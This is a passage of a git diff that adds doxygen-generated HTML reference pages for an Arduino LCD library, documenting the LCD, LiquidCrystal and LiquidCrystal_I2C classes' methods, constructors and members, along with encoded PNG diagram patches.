Turns on automatic scrolling of the LCD. Turns on automatic scrolling of the LCD. This causes each character output to the display to push previous characters over by one space. If the current text direction is left-to-right (the default), the display scrolls to the left; if the current direction is right-to-left, the display scrolls to the right. This has the effect of outputting each new character to the same location on the LCD.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 271 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::backlight (void )
+
+
+

Switch-on the LCD backlight. Switch-on the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

+
See also:
setBacklightPin.
+ +

Definition at line 301 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void LCD::begin (uint8_t cols,
uint8_t rows,
uint8_t charsize = LCD_5x8DOTS 
) [virtual]
+
+
+

LCD initialization. Initializes the LCD to a given size (col, row). This methods initializes the LCD, therefore, it MUST be called prior to using any other method from this class.

+

This method is abstract, a base implementation is available common to all LCD drivers. Should it not be compatible with some other LCD driver, a derived implementation should be done on the driver specif class.

+
Parameters:
+ + + + +
cols[in]the number of columns that the display has
rows[in]the number of rows that the display has
charsize[in]character size, default==LCD_5x8DOTS
+
+
+ +

Reimplemented in LiquidCrystal_I2C.

+ +

Definition at line 76 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::blink ()
+
+
+

Display the cursor of the LCD. Display the blinking LCD cursor. If used in combination with the cursor() function, the result will depend on the particular display.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 226 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::clear ()
+
+
+

Clears the LCD. Clears the LCD screen and positions the cursor in the upper-left corner.

+

This operation is time consuming for the LCD.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 159 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LCD::createChar (uint8_t location,
uint8_t charmap[] 
)
+
+
+

Creates a custom character for use on the LCD. Create a custom character (glyph) for use on the LCD. Most chipsets only support up to eight characters of 5x8 pixels. Therefore, this methods has been limited to locations (numbered 0 to 7).

+

The appearance of each custom character is specified by an array of eight bytes, one for each row. The five least significant bits of each byte determine the pixels in that row. To display a custom character on screen, write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7.

+
Parameters:
+ + + +
location[in]LCD memory location of the character to create (0 to 7)
charmap[in]the bitmap array representing each row of the character.
+
+
+ +

Definition at line 285 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::cursor ()
+
+
+

Display the LCD cursor. Display the LCD cursor: an underscore (line) at the location where the next character will be written.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 213 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::display ()
+
+
+

Turns on the LCD display. Turns on the LCD display, after it's been turned off with noDisplay(). This will restore the text (and cursor location) that was on the display prior to calling noDisplay().

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 201 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::home ()
+
+
+

Sets the cursor to the upper-left corner. Positions the cursor in the upper-left of the LCD. That is, use that location in outputting subsequent text to the display. To also clear the display, use the clear() function instead.

+

This operation is time consuming for the LCD.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 165 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::leftToRight (void )
+
+
+

Set the direction for text written to the LCD to left-to-right. Set the direction for text written to the LCD to left-to-right. All subsequent characters written to the display will go from left to right, but does not affect previously-output text.

+

This is the default configuration.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 244 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::moveCursorLeft (void )
+
+
+

Moves the cursor one space to the left.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 264 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::moveCursorRight (void )
+
+
+

Moves the cursor one space to the right.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 258 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::noAutoscroll (void )
+
+
+

Turns off automatic scrolling of the LCD. Turns off automatic scrolling of the LCD, this is the default configuration of the LCD.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 278 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::noBacklight (void )
+
+
+

Switch-off the LCD backlight. Switch-off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

+
See also:
setBacklightPin.
+ +

Definition at line 308 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::noBlink ()
+
+
+

Turns off the blinking of the LCD cursor.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 220 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::noCursor ()
+
+
+

Hides the LCD cursor.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 208 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + +
void LCD::noDisplay ()
+
+
+

Turns off the LCD display. Turns off the LCD display, without losing the text currently being displayed on it.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 195 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::off (void )
+
+
+

Switch off the LCD module. Switch off the LCD module, it will switch off the LCD controller and the backlight. This method has the same effect of calling noDisplay and noBacklight.

+
See also:
display,
+
+backlight
+ +

Definition at line 323 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::on (void )
+
+
+

Switch on the LCD module. Switch on the LCD module, it will switch on the LCD controller and the backlight. This method has the same effect of calling display and backlight.

+
See also:
display,
+
+backlight
+ +

Definition at line 315 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::rightToLeft (void )
+
+
+

Set the direction for text written to the LCD to right-to-left. Set the direction for text written to the LCD to right-to-left. All subsequent characters written to the display will go from right to left, but does not affect previously-output text.

+

left-to-right is the default configuration.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 251 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::scrollDisplayLeft (void )
+
+
+

Scrolls the contents of the display (text and cursor) one space to the left.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 233 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::scrollDisplayRight (void )
+
+
+

Scrolls the contents of the display (text and cursor) one space to the right.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 238 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
virtual void LCD::setBacklight (uint8_t value) [inline, virtual]
+
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. The behaviour of this method is very dependent on the device. Some controllers support dimming some don't. Please read the actual header file for each individual device. The setBacklightPin method has to be called before setting the backlight or the adequate backlight control constructor.

+
See also:
setBacklightPin.
+

NOTE: The prefered methods to control the backlight are "backlight" and "noBacklight".

+
Parameters:
+ + +
0..255- the value is very dependent on the LCD. However, BACKLIGHT_OFF will be interpreted as off and BACKLIGHT_ON will drive the backlight on.
+
+
+ +

Reimplemented in LiquidCrystal, LiquidCrystal_I2C, LiquidCrystal_SR, LiquidCrystal_SR2W, and LiquidCrystal_SR3W.

+ +

Definition at line 463 of file LCD.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
virtual void LCD::setBacklightPin (uint8_t value,
t_backlighPol pol 
) [inline, virtual]
+
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. This method is device dependent and can be programmed on each subclass. An empty function call is provided that does nothing.

+
Parameters:
+ + + +
value,:pin associated to backlight control.
pol,:backlight polarity control (POSITIVE, NEGATIVE)
+
+
+ +

Reimplemented in LiquidCrystal, LiquidCrystal_I2C, LiquidCrystal_SR, and LiquidCrystal_SR3W.

+ +

Definition at line 444 of file LCD.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LCD::setCursor (uint8_t col,
uint8_t row 
)
+
+
+

Position the LCD cursor. Sets the position of the LCD cursor. Set the location at which subsequent text written to the LCD will be displayed.

+
Parameters:
+ + + +
col[in]LCD column
row[in]LCD row - line.
+
+
+ +

Definition at line 171 of file LCD.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LCD::write (uint8_t value) [virtual]
+
+
+

Writes to the LCD. This method writes character to the LCD in the current cursor position.

+

This is the virtual write method, implemented in the Print class, therefore all Print class methods will end up calling this method.

+
Parameters:
+ + +
value[in]Value to write to the LCD.
+
+
+ +

Definition at line 337 of file LCD.cpp.

+ +
+
+

Member Data Documentation

+ +
+
+ + + + +
uint8_t LCD::_cols [protected]
+
+
+ +

Definition at line 497 of file LCD.h.

+ +
+
+ +
+
+ + + + +
uint8_t LCD::_displaycontrol [protected]
+
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+ +

Definition at line 493 of file LCD.h.

+ +
+
+ +
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+ + + + +
uint8_t LCD::_displayfunction [protected]
+
+
+ +

Definition at line 491 of file LCD.h.

+ +
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+ +
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+ + + + +
uint8_t LCD::_displaymode [protected]
+
+
+ +

Definition at line 495 of file LCD.h.

+ +
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+ +
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+ + + + +
uint8_t LCD::_numlines [protected]
+
+
+ +

Definition at line 496 of file LCD.h.

+ +
+
+ +
+
+ + + + +
t_backlighPol LCD::_polarity [protected]
+
+
+ +

Definition at line 498 of file LCD.h.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h
    • +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp
    • +
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_l_c_d.png b/libraries/LiquidCrystal/docs/html/class_l_c_d.png new file mode 100644 index 0000000000000000000000000000000000000000..da99cfc6e256ad6e8bd9e747b00e1c400bdc6f36 GIT binary patch literal 870 zcmeAS@N?(olHy`uVBq!ia0y~yV44SH2XHV0$@Z(QK0rz$z$e7@|Ns9$=8HF9OZyK^ z0J6aNz<~p-op!P!?}UpIsYf8KDzQ^|DNlg&x?syT?&4o`DMxS3&Br16faNc z=qS3OE@iuP_Pjv5W6HKqt*Xw=evx+-s6+&&^3UrkzT-3czf947At~5A>2RUd^5t{Z zKiAjP0~_C2f|?v{B<)^GNF23of1xL+NYt?M_ARjf|_ zf>l7~3r#1e9;GjTW?xqPq*ul*W3h#i-L~+-1vZ&4M;e>wSrlY2^Hn`Mu#nf{MJF>t z##y@Hf-rmEV;TG7MfPSg?0ws1?6(UCZ)arhOXtfy;OKuDr1?drRY8oy`3RY?{e2zB zPxm)pTVJ2yT=r6eji=t8zs6YhrLRW$@mnj>``$f0o%yv|v+sP>zMWP!JLb>JT>AK- zeZ9nw$n!pvIG<-;@z&inRo_43>gU%oxx3Sk=!*4syuA5z-pfzAi`KMOI?CL%4fZ;J zKKf|pZChhcvsX8_{$aD-f9~Rv^d5o7o|-YaSHCjNsEhk`VO_f4%TH1DTcc)u@yT+k zWX`*`Ir?W7v-ErG=EZv+%UeW!jaf6}>dW|=pNYF~ElGEJxr*EU%bCnW8zvsvurTN1 zX78ULi|>3n_h`oanBpa`EcKf=e!2doCcf&P`R~^^FSNWeown}zu}{H`IkwxkFI+$G zbMoZ)cbrR~Pd-<*Z9>TA>1&@q`*eBg(IU(C%yF?#rGzvFF5*hN4kFe9Oj%md4gZv_WGWGa_Mk*s)ME3tC@FO zipp2dn|u0v?9T=1@6CE9Ut0J4m08h;X=%Du)9)R=IQNOL`**jPKIOpkZ(TC0_U%$` zs|h^sta5y-#f^^Bg->4YOx~OFva)35vzIr^#oylpikZB=seCr-!H>l + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LiquidCrystal Member List
+
+
+This is the complete list of members for LiquidCrystal, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
_polarityLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCD [virtual]
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol)LiquidCrystal
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal [virtual]
setBacklight(uint8_t value)LiquidCrystal [virtual]
setBacklightPin(uint8_t pin, t_backlighPol pol)LiquidCrystal [virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal.html new file mode 100644 index 0000000..efed1c2 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal.html @@ -0,0 +1,827 @@ + + + + +LCD Library: LiquidCrystal Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Public Member Functions
+
+
LiquidCrystal Class Reference
+
+
+ +

#include <LiquidCrystal.h>

+
+Inheritance diagram for LiquidCrystal:
+
+
+ + +LCD + +
+ +

List of all members.

+ + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol)
 LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol)
 LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
 LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol)
 LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
 LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol)
virtual void send (uint8_t value, uint8_t mode)
void setBacklight (uint8_t value)
void setBacklightPin (uint8_t pin, t_backlighPol pol)
+

Detailed Description

+
+

Definition at line 44 of file LiquidCrystal.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+
+

8 bit LCD constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD.

+ +

Definition at line 55 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t rw,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+
+ +

Definition at line 62 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7,
uint8_t backlightPin,
t_backlighPol pol 
)
+
+
+ +

Definition at line 82 of file LiquidCrystal.cpp.

+ +
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+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t rw,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7,
uint8_t backlightPin,
t_backlighPol pol 
)
+
+
+ +

Definition at line 91 of file LiquidCrystal.cpp.

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LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t rw,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3 
)
+
+
+

4 bit LCD constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD.

+ +

Definition at line 69 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3 
)
+
+
+ +

Definition at line 75 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t rw,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3,
uint8_t backlightPin,
t_backlighPol pol 
)
+
+
+ +

Definition at line 100 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3,
uint8_t backlightPin,
t_backlighPol pol 
)
+
+
+ +

Definition at line 108 of file LiquidCrystal.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal::send (uint8_t value,
uint8_t mode 
) [virtual]
+
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters:
+ + +
valueValue to send to the LCD.
+
+
+
Returns:
mode LOW - write to the LCD CGRAM, HIGH - write a command to the LCD.
+ +

Reimplemented from LCD.

+ +

Definition at line 122 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LiquidCrystal::setBacklight (uint8_t value) [virtual]
+
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

+
See also:
setBacklightPin. For dimming control of the backlight, the configuration pin must be a PWM output pin. Dim control is achieved by passing a value from 1 to 255 as a parameter. If the pin configured when calling the setBacklightPin does not support PWM, then: (0) backlight off, (1..255) backlight on.
+
Parameters:
+ + +
value,:backlight value. 0: off, 1..255: dim control of the backlight. For negative logic 255: off, 254..0: dim control.
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 165 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal::setBacklightPin (uint8_t pin,
t_backlighPol pol 
) [virtual]
+
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight.

+
Parameters:
+ + + +
pin,:pin assigned to the backlight
pol,:backlight pin control polarity (POSITIVE, NEGATIVE).
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 155 of file LiquidCrystal.cpp.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h
    • +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp
    • +
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal.png b/libraries/LiquidCrystal/docs/html/class_liquid_crystal.png new file mode 100644 index 0000000000000000000000000000000000000000..6b24dede9b207104dd4c46f9b02419458cbd892f GIT binary patch literal 352 zcmeAS@N?(olHy`uVBq!ia0vp^p+FqK!3-qhpPjr7q$C1-LR|m<{|{uoc=NTi|Ih>= z3ycpOIKbL@M;^%KC<*clW&kPzfvcxNjDTYAJzX3_Dj46+y~x+Bz~fq-e&~PwCpn#^ zXXjWf37mdgLSRXIklqh1@3xblX5}x5b7|enaN*Q1zu<+gYnKN^pV;X6N_ORD(}1s* zq3idsd+ZfAeR{t3&ME$6{bkc8HTo_D5@#3Mc`+}UNMC3NB}pWdmz z?`bjIR@@RN{g3tg%k7ieR|p6??0$Ib;8ia{1*On%jCg|yL+~&N*HgM9an2~{bvZX-jP10a@9YN qJKqMEyY~cDyH7NKxOj!+H@1V-!b+`=-hT#qox#)9&t;ucLK6T^;h#wW literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c-members.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c-members.html new file mode 100644 index 0000000..987f1e2 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c-members.html @@ -0,0 +1,127 @@ + + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LiquidCrystal_I2C Member List
+
+
+This is the complete list of members for LiquidCrystal_I2C, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
_polarityLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LiquidCrystal_I2C [virtual]
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_I2C(uint8_t lcd_Addr)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t backlighPin, t_backlighPol pol)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol)LiquidCrystal_I2C
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_I2C [virtual]
setBacklight(uint8_t value)LiquidCrystal_I2C [virtual]
setBacklightPin(uint8_t value, t_backlighPol pol)LiquidCrystal_I2C [virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c.html new file mode 100644 index 0000000..1a51edb --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c.html @@ -0,0 +1,599 @@ + + + + +LCD Library: LiquidCrystal_I2C Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Public Member Functions
+
+
LiquidCrystal_I2C Class Reference
+
+
+ +

#include <LiquidCrystal_I2C.h>

+
+Inheritance diagram for LiquidCrystal_I2C:
+
+
+ + +LCD + +
+ +

List of all members.

+ + + + + + + + + + + + +

+Public Member Functions

virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol)
 LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t backlighPin, t_backlighPol pol)
 LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)
 LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol)
 LiquidCrystal_I2C (uint8_t lcd_Addr)
virtual void send (uint8_t value, uint8_t mode)
void setBacklight (uint8_t value)
void setBacklightPin (uint8_t value, t_backlighPol pol)
+

Detailed Description

+
+

Definition at line 38 of file LiquidCrystal_I2C.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr)
+
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters:
+ + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
+
+
+ +

Definition at line 96 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr,
uint8_t backlighPin,
t_backlighPol pol = POSITIVE 
)
+
+
+ +

Definition at line 102 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs 
)
+
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters:
+ + + + + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
En[in]LCD En (Enable) pin connected to the IO extender module
Rw[in]LCD Rw (Read/write) pin connected to the IO extender module
Rs[in]LCD Rs (Reset) pin connected to the IO extender module
+
+
